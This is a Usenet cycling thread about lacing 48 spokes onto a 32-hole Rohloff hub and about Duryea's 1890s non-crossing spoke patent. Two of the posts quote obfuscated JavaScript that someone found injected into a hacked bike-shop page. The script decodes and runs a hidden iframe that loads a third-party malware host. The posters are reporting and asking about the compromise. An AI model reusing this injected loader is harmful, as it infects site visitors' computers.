What the hell?

Chalo said:

Tim McNamara said:

Carl Fogel wrote:

Quoted message said:

Quoted message said:

So is that a 24, 36, or 60 spoke rear wheel?

Quoted message said:

Teenage Mutant Crow's Foot spoking. It's a 2/3 cross spoking.

Less mutated, but still something other than "normal" crow's foot
lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
official Rohloff service center) how to do it.

http://rideyourbike.com/48spokerohloff.html

Chalo

tour de force!

Chalo said:

Less mutated, but still something other than "normal" crow's foot
lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
official Rohloff service center) how to do it.

http://rideyourbike.com/48spokerohloff.html

Chalo

Dear Chalo,

As soon as I clicked on that link, my anti-virus program went wild.

Cheers,

Carl Fogel

In article
<[email hidden]>,

Chalo said:

Tim McNamara said:

Carl Fogel said:

So is that a 24, 36, or 60 spoke rear wheel?

Teenage Mutant Crow's Foot spoking. It's a 2/3 cross spoking.

Less mutated, but still something other than "normal" crow's foot
lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
official Rohloff service center) how to do it.

http://rideyourbike.com/48spokerohloff.html

Chalo

I don't follow. On that webpage it's stated:

"It is necessary to drill between each hole even though some holes do
not get used, because the ones that do not get used are half of the
factory drilled holes."

By my reckoning the lacing pattern skips every 4th hole, utilizing 24
of the 32 holes per flange to end in a 48 spoke wheel. Would not
drilling between every second hole of the original 32 hole achieve the
exact same pattern?

The ornamentation at your bike's rear drops is splendid!

aka Carl Fogel said:

Chalo said:

Less mutated, but still something other than "normal" crow's foot
lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
official Rohloff service center) how to do it.

http://rideyourbike.com/48spokerohloff.html

Chalo

Dear Chalo,

As soon as I clicked on that link, my anti-virus program went wild.

That website set my anti-spy ware program off.

The also misspelled "Rohloff" as "Rholoff" at the top of the page.

--
Tom Sherman - Holstein-Friesland Bovinia
"Localized intense suction such as tornadoes is created when temperature
differences are high enough between meeting air masses, and can impart
excessive energy onto a cyclist." - Randy Schlitter

In article <[email hidden]>,

Tom Sherman said:

aka Carl Fogel said:

Chalo said:

Less mutated, but still something other than "normal" crow's foot
lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
official Rohloff service center) how to do it.

http://rideyourbike.com/48spokerohloff.html

Chalo

Dear Chalo,

As soon as I clicked on that link, my anti-virus program went wild.

That website set my anti-spy ware program off.

Running a Mac, dunno what was happening but that site was obviously
sending a lot of something from a third party web site, the status bar
showed some alphabet soup web site. I suspect their Web server has been
compromised and they should be updated. I had to force-kill my browser.
Don't see any unusual processes running.

On Dec 7, 11:15 pm, [email hidden] wrote:

....

Quoted message said:

Regrettably, Charles Duryea wrote in his patent 364231 that "the
structure of the hub, spokes, and rim will not be claimed in this
case, as they will form the subject of another application by me for
patent thereon."

http://patimg1.uspto.gov/.piw?docid=US000364231&PageNum=3&IDKey=6CAD6...

You can't search patents that old except by number, so I don't know if
Duryea ever did file a patent application that explained what the hell
his 2x3 fan-spoke design was supposed to do. He abandoned bicycles and
became an early car builder:

http://en.wikipedia.org/wiki/Charles_Duryea

Charles was born during the Civil War in 1862, patented his
highwheeler breakaway handlebars at 25 in 1887, and died at 76 in
1938.

His brother, Frank, was born in 1869, worked with him in their car
business before the turn of the century, and died at 98 in 1967.

The Duryeas are important figures in automotive history, generally
considered to be the first to produce a gasoline powered car and
market it successfully. A prime example of how the bicycle industry
birthed the auto industry.

Robert

Luke said:

Chalo said:

Less mutated, but still something other than "normal" crow's foot
lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
official Rohloff service center) how to do it.

Quoted message said:

http://rideyourbike.com/48spokerohloff.html

I don't follow. On that webpage it's stated:

"It is necessary to drill between each hole even though some holes do
not get used, because the ones that do not get used are half of the
factory drilled holes."

By my reckoning the lacing pattern skips every 4th hole, utilizing 24
of the 32 holes per flange to end in a 48 spoke wheel. Would not
drilling between every second hole of the original 32 hole achieve the
exact same pattern?

Oddly, no. The pattern on the one side is constrained by the eight
hub cap lugs. So it can't index one way or the other. But to make a
48 hole pattern line up on 32, the other flange's spokes must rotate
one-half hole off of the original pattern. So that means the pattern
must be double drilled, and therefore half of the original holes must
be left empty.

Quoted message said:

The ornamentation at your bike's rear drops is splendid!

For that, you can thank David Bohm of Tucson:

http://bohemianbicycles.com/

My bike's dropouts looked a lot fancier before repairs that required
me to spray green primer over the affected areas. Dave's website has
lots of pictures that show his craft to better effect.

Chalo

CHALO,

LET ME ASK YOU A QUESTION: how did you arive at the hole drilling
solution? just think of it ir draw it out to completion on paper or is
it a standard solution?

Quoted message said:

Chalo said:

Less mutated, but still something other than "normal" crow's foot
lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
official Rohloff service center) how to do it.
http://rideyourbike.com/48spokerohloff.html

Quoted message said:

As soon as I clicked on that link, my anti-virus program went wild.

It crashed my Netscape
--
Andrew Muzi
www.yellowjersey.org
Open every day since 1 April, 1971

Quoted message said:

I just looked at the inside cover of Herlihy's "The Bicycle" and saw
that the 1896 Waverly Belle's most interesting feature had been
hidden:

http://i10.tinypic.com/8101uuh.jpg

At first I wondered whether those gorgeous brass (?) disks on the rear
spokes were elaborate tie-and-solder fittings or just decorative
buttons.

But they aren't tie-and-solder, and they aren't decorative!

I counted them and found only a dozen disks, not nearly enough to
connect the crossings of what looked like 36 spokes or so.

So I counted the stupid spokes, thinking that maybe there were fewer
spokes than I thought.

Nope--it looked like 36 spokes, but there were still only 12 brass
dinguses when 18 would be needed to tie-and-solder three dozen spokes.

Finally I _looked_ at the damn things.

Have another look yourself.

Hint: count the spokes coming out of any dingus in _all_ directions.

Now do you see how weird that rear wheel is?

Apparently, Herlihy didn't notice how odd the wheel is:

"Waverly Belle, circa 1896, a lady's model by the Indiana Bicycle
Company, with a steel frame and wooden handlebars, fender, and chain
guard. (Pryor Dodge Collection)"

So is that a 24, 36, or 60 spoke rear wheel?

Incidentally, the front radial wheel is normal--as long as you
consider 30 spokes normal.

Cheers,

Carl Fogel

Aha! Found it! Here's the mystery hub and spokes again:

http://i10.tinypic.com/8101uuh.jpg

Charles Duryea patented that silly thing in 1891, #459699:

http://patimg2.uspto.gov/.piw?Docid=00459699&homeurl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO1%2526Sect2%3DHITOFF%2526d%3DPALL%2526p%3D1%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r%3D1%2526f%3DG%2526l%3D50%2526s1%3D0459699.PN.%2526OS%3DPN%2F0459699%2526RS%3DPN%2F0459699&PageNum=&Rtype=&SectionNum=&idkey=NONE&Input=View+first+page

"The first object I have in view is to provide a wheel of the type
known as 'tangent spokes,' in which the spokes shall not overlap or
cross each other."

http://patimg2.uspto.gov/.piw?docid=US000459699&PageNum=3&IDKey=5078BF5F9B99&HomeUrl=http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1%2526Sect2=HITOFF%2526d=PALL%2526p=1%2526u=%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r=1%2526f=G%2526l=50%2526s1=0459699.PN.%2526OS=PN/0459699%2526RS=PN/0459699

So it looks as if Chuck achieved his noble ambition--or at least
suckered the Waverly Belle bike manufacturer into paying to license
his patent for non-crossing tangent spokes.

(Or maybe he owned the Waverly company?)

But I still can't see what the hell the point was. So what if tangent
spokes cross?

The patent includes lots of equally mysterious details about the rim.

Cheers,

Carl Fogel

Tim McNamara said:

Tom Sherman said:

Carl Fogel said:

Chalo wrote:
>
>http://rideyourbike.com/48spokerohloff.html

As soon as I clicked on that link, my anti-virus program went wild.

That website set my anti-spy ware program off.

Running a Mac, dunno what was happening but that site was obviously
sending a lot of something from a third party web site, the status bar
showed some alphabet soup web site. I suspect their Web server has been
compromised and they should be updated. I had to force-kill my browser.
Don't see any unusual processes running.

I alerted Aaron, and he contacted me with the following message:

# Thanks for the heads up, there was some java in there! Sun of a
[censored]!
# Hackers!
# This is the HTML I found:
#
# <script language="JavaScript" type="text/javascript">
# function A8CCEB4BB06EB0253A6E1413(A520D1896EC54D60D41A9F997B4EF6)
{function
# B91766D58529C94DEF(){var EE8DA919369C978F85D=16;return
#
EE8DA919369C978F85D;}return(parseInt(A520D1896EC54D60D41A9F997B4EF6,B91766D58529C94DEF()));}function
# DA6E60A7035EF962546B(AD038FBA426AFE3155DB){var
# CCF69FECE34D7E233E64="";for(BB848B741C3D56A8B=0;BB848B741C3D56A8B<
# AD038FBA426AFE3155DB.length;BB848B741C3D56A8B+=2)
{CCF69FECE34D7E233E64+=(
#
String.fromCharCode(A8CCEB4BB06EB0253A6E1413(AD038FBA426AFE3155DB.substr
# (BB848B741C3D56A8B,
2))));}eval(CCF69FECE34D7E233E64);}DA6E60A7035EF962546B("7868783D646F63756D656E742E676574456C656D656E7442794964282765796D6427293B6966287868783D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D65796D64207372633D687474703A2F2F676F6F676C6572616E6B2E696E666F2F636F756E7465722F3F673D76697370207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D"😉;
# </script>
#
#
# I changed my password!
#
# Thanks, again, Aaron

Thanks to you guys for spotting a problem. I had not seen any unusual
symptoms with Firefox.

Does anybody know what the above gobbledygook does?

Chalo

Quoted message said:

Quoted message said:

I just looked at the inside cover of Herlihy's "The Bicycle" and saw
that the 1896 Waverly Belle's most interesting feature had been
hidden:

http://i10.tinypic.com/8101uuh.jpg

At first I wondered whether those gorgeous brass (?) disks on the rear
spokes were elaborate tie-and-solder fittings or just decorative
buttons.

But they aren't tie-and-solder, and they aren't decorative!

I counted them and found only a dozen disks, not nearly enough to
connect the crossings of what looked like 36 spokes or so.

So I counted the stupid spokes, thinking that maybe there were fewer
spokes than I thought.

Nope--it looked like 36 spokes, but there were still only 12 brass
dinguses when 18 would be needed to tie-and-solder three dozen spokes.

Finally I _looked_ at the damn things.

Have another look yourself.

Hint: count the spokes coming out of any dingus in _all_ directions.

Now do you see how weird that rear wheel is?

Apparently, Herlihy didn't notice how odd the wheel is:

"Waverly Belle, circa 1896, a lady's model by the Indiana Bicycle
Company, with a steel frame and wooden handlebars, fender, and chain
guard. (Pryor Dodge Collection)"

So is that a 24, 36, or 60 spoke rear wheel?

Incidentally, the front radial wheel is normal--as long as you
consider 30 spokes normal.

Cheers,

Carl Fogel

Aha! Found it! Here's the mystery hub and spokes again:

http://i10.tinypic.com/8101uuh.jpg

Charles Duryea patented that silly thing in 1891, #459699:

http://patimg2.uspto.gov/.piw?Docid=00459699&homeurl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO1%2526Sect2%3DHITOFF%2526d%3DPALL%2526p%3D1%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r%3D1%2526f%3DG%2526l%3D50%2526s1%3D0459699.PN.%2526OS%3DPN%2F0459699%2526RS%3DPN%2F0459699&PageNum=&Rtype=&SectionNum=&idkey=NONE&Input=View+first+page

"The first object I have in view is to provide a wheel of the type
known as 'tangent spokes,' in which the spokes shall not overlap or
cross each other."

http://patimg2.uspto.gov/.piw?docid=US000459699&PageNum=3&IDKey=5078BF5F9B99&HomeUrl=http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1%2526Sect2=HITOFF%2526d=PALL%2526p=1%2526u=%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r=1%2526f=G%2526l=50%2526s1=0459699.PN.%2526OS=PN/0459699%2526RS=PN/0459699

So it looks as if Chuck achieved his noble ambition--or at least
suckered the Waverly Belle bike manufacturer into paying to license
his patent for non-crossing tangent spokes.

(Or maybe he owned the Waverly company?)

But I still can't see what the hell the point was. So what if tangent
spokes cross?

The patent includes lots of equally mysterious details about the rim.

Cheers,

Carl Fogel

And speaking of odd wheels . . .

http://patimg2.uspto.gov/.piw?Docid=00614284&homeurl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO1%2526Sect2%3DHITOFF%2526d%3DPALL%2526p%3D1%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r%3D1%2526f%3DG%2526l%3D50%2526s1%3D0614284.PN.%2526OS%3DPN%2F0614284%2526RS%3DPN%2F0614284&PageNum=&Rtype=&SectionNum=&idkey=NONE&Input=View+first+page

It's a four-flange wheel, associated with other patents along the
lines of Duryea's weird tinker-toy design.

I wonder if the John F. Barnett who patented it and the Robert Barnett
to whom the patent was assigned were ancestors of the Barnett manuals
often mentioned on RBT, whose "Barnett Bicycle Institute" is located
just up the road from me in Colorado Springs?

Cheers,

Carl Fogel

datakoll said:

LET ME ASK YOU A QUESTION: how did you arive at the hole drilling
solution? just think of it ir draw it out to completion on paper or is
it a standard solution?

I started with just the problem to be solved and a simple CAD program
called Ashlar Vellum. I was resigned to the possibility that I might
need three lengths of spoke rather than just two. After trying a few
different permutations, I arrived at the one you see in the
pictures.

I wound up needing two lengths of spoke that _nobody_ had-- 240mm and
220mm if I remember correctly. Val Kleitz from the Bikesmith in
Seattle cut them for me on his Phil Wood machine.

Chalo

Chalo said:

Tim McNamara said:

Tom Sherman said:

Carl Fogel wrote:
>
> Chalo wrote:
>>
>>http://rideyourbike.com/48spokerohloff.html
>
> As soon as I clicked on that link, my anti-virus program went wild.

That website set my anti-spy ware program off.

Running a Mac, dunno what was happening but that site was obviously
sending a lot of something from a third party web site, the status bar
showed some alphabet soup web site. I suspect their Web server has been
compromised and they should be updated. I had to force-kill my browser.
Don't see any unusual processes running.

I alerted Aaron, and he contacted me with the following message:

# Thanks for the heads up, there was some java in there! Sun of a
[censored]!
# Hackers!
# This is the HTML I found:
#
# <script language="JavaScript" type="text/javascript">
# function A8CCEB4BB06EB0253A6E1413(A520D1896EC54D60D41A9F997B4EF6)
{function
# B91766D58529C94DEF(){var EE8DA919369C978F85D=16;return
#
EE8DA919369C978F85D;}return(parseInt(A520D1896EC54D60D41A9F997B4EF6,B91766D58529C94DEF()));}function
# DA6E60A7035EF962546B(AD038FBA426AFE3155DB){var
# CCF69FECE34D7E233E64="";for(BB848B741C3D56A8B=0;BB848B741C3D56A8B<
# AD038FBA426AFE3155DB.length;BB848B741C3D56A8B+=2)
{CCF69FECE34D7E233E64+=(
#
String.fromCharCode(A8CCEB4BB06EB0253A6E1413(AD038FBA426AFE3155DB.substr
# (BB848B741C3D56A8B,
2))));}eval(CCF69FECE34D7E233E64);}DA6E60A7035EF962546B("7868783D646F63756D656E742E676574456C656D656E7442794964282765796D6427293B6966287868783D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D65796D64207372633D687474703A2F2F676F6F676C6572616E6B2E696E666F2F636F756E7465722F3F673D76697370207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D"😉;
# </script>
#
#
# I changed my password!
#
# Thanks, again, Aaron

Thanks to you guys for spotting a problem. I had not seen any unusual
symptoms with Firefox.

Does anybody know what the above gobbledygook does?

Chalo

Dear Chalo,

You probably had no trouble with your Mac.

That stuff tries to infect Windows systems with a polycrypt
virus/trojan horse/etc with several files and mostly random names.

Grisoft's free AVG program is easily downloaded, installed, and
uninstalled:

http://www.majorgeeks.com/AVG_Free_Edition_d886.html

The second Texas site on the list is usually fast.

Cheers,

Carl Fogel

are yawl MacAfee subscribers? here, Mac and Defender shut Windows down
7-8 times per ten hours net plus Word

On Sun, 9 Dec 2007 20:18:19 -0800 (PST), datakoll <[email hidden]>

Quoted message said:

are yawl MacAfee subscribers? here, Mac and Defender shut Windows down
7-8 times per ten hours net plus Word

Don't use either one, they are both viruses unto themselves. Use AVG.

still just me said:

On Sun, 9 Dec 2007 20:18:19 -0800 (PST), datakoll <[email hidden]>

Quoted message said:

are yawl MacAfee subscribers? here, Mac and Defender shut Windows down
7-8 times per ten hours net plus Word

Don't use either one, they are both viruses unto themselves. Use AVG.

AVG? I'll read into the area. Dell sold Mac with the laptop I bought,
Florida public libraries use Mac, Florida State Patrol uses Valvo...
Mac appears to take an active interest shown by frequent interuptions
for upgrading software.

datakoll said:

AVG? I'll read into the area. Dell sold Mac with the laptop I bought,
Florida public libraries use Mac, Florida State Patrol uses Valvo...
Mac appears to take an active interest shown by frequent interuptions
for upgrading software.

http://www.grisoft.com/avgfree

Best choice with a Dell is to use the "system restore" disk the day
you get it. That sets it up without most of the added applications.
You can load anything you want off the applications disk later.

If you've been running it a while, then the reload would be nasty. I
would just add/remove Macf.

Quoted message said:

I just looked at the inside cover of Herlihy's "The Bicycle" and saw
that the 1896 Waverly Belle's most interesting feature had been
hidden:

http://i10.tinypic.com/8101uuh.jpg

[...]

Quoted message said:

Have another look yourself.

Hint: count the spokes coming out of any dingus in _all_ directions.

Now do you see how weird that rear wheel is?

Apparently, Herlihy didn't notice how odd the wheel is:

"Waverly Belle, circa 1896, a lady's model by the Indiana Bicycle
Company, with a steel frame and wooden handlebars, fender, and chain
guard. (Pryor Dodge Collection)"

So is that a 24, 36, or 60 spoke rear wheel?

Perhaps the multiplexing dinguses are "adaptors" allowing you to make up
a wheel out of a 36H rim and 24H hub?

Ben C said:

Quoted message said:

I just looked at the inside cover of Herlihy's "The Bicycle" and saw
that the 1896 Waverly Belle's most interesting feature had been
hidden:

http://i10.tinypic.com/8101uuh.jpg

[...]

Quoted message said:

Have another look yourself.

Hint: count the spokes coming out of any dingus in _all_ directions.

Now do you see how weird that rear wheel is?

Apparently, Herlihy didn't notice how odd the wheel is:

"Waverly Belle, circa 1896, a lady's model by the Indiana Bicycle
Company, with a steel frame and wooden handlebars, fender, and chain
guard. (Pryor Dodge Collection)"

So is that a 24, 36, or 60 spoke rear wheel?

Perhaps the multiplexing dinguses are "adaptors" allowing you to make up
a wheel out of a 36H rim and 24H hub?

Dear Ben,

It turned out to be a deliberate design by Charles Duryea that avoids
spoke crossings on a tangent wheel. Here's the patent:

http://patimg2.uspto.gov/.piw?Docid=00614284&homeurl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO1%2526Sect2%3DHITOFF%2526d%3DPALL%2526p%3D1%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r%3D1%2526f%3DG%2526l%3D50%2526s1%3D0614284.PN.%2526OS%3DPN%2F0614284%2526RS%3DPN%2F0614284&PageNum=&Rtype=&SectionNum=&idkey=NONE&Input=View+first+page

Why Duryea wanted to avoid crossings is a mystery. Maybe it was
related to a childhood admonition not to step on cracks in the
sidewalk.

Cheers,

Carl Fogel